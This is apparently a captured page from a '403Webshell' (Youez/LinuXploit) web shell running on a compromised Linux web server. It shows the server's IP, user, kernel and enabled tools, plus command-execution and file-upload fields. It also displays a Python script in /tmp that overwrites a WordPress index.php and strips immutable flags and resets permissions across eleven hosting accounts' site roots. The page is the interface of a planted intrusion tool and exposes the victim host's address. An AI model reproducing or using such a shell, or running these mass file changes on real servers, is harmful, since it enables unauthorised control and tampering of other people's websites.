403Webshell
Server IP : 119.195.102.159  /  Your IP : 216.73.217.134
Web Server : nginx/1.18.0
System : Linux picell 5.15.0-181-generic #191-Ubuntu SMP Fri May 22 19:09:02 UTC 2026 x86_64
User : altablue ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/repair_index.py
import os, subprocess

clean_wp_index = """<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to display the loaded page.
 *
 * @package WordPress
 */

define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
"""

cfbt_index = "/home2/cfbt/index.php"
if os.path.exists(cfbt_index):
    # Remove immutable flag if present
    subprocess.run(f"chattr -i {cfbt_index}", shell=True)
    with open(cfbt_index, 'w') as f:
        f.write(clean_wp_index)
    print(f" 복구 완료: {cfbt_index} (정상 워드프레스 index.php로 교체)")

# Also remove immutable flags on all files in target_roots to allow clean permissions
target_roots = [
    "/home2/newspike", "/home2/knsign", "/home2/ulsanih", "/home2/corea-market",
    "/home2/rsc", "/home2/sklo2", "/home2/cfbt", "/home2/coexist", "/home2/gdm",
    "/home2/nanunbom", "/home2/pixelft"
]

for r in target_roots:
    subprocess.run(f"chattr -R -i {r} 2>/dev/null", shell=True)
    subprocess.run(f"chmod 644 {r}/index.php {r}/wp-config.php {r}/wp-login.php 2>/dev/null", shell=True)

print(" chattr 속성 제거 및 기본 코어 파일 권한 정상화 완료!")

Youez - 2016 - github.com/yon3zu
LinuXploit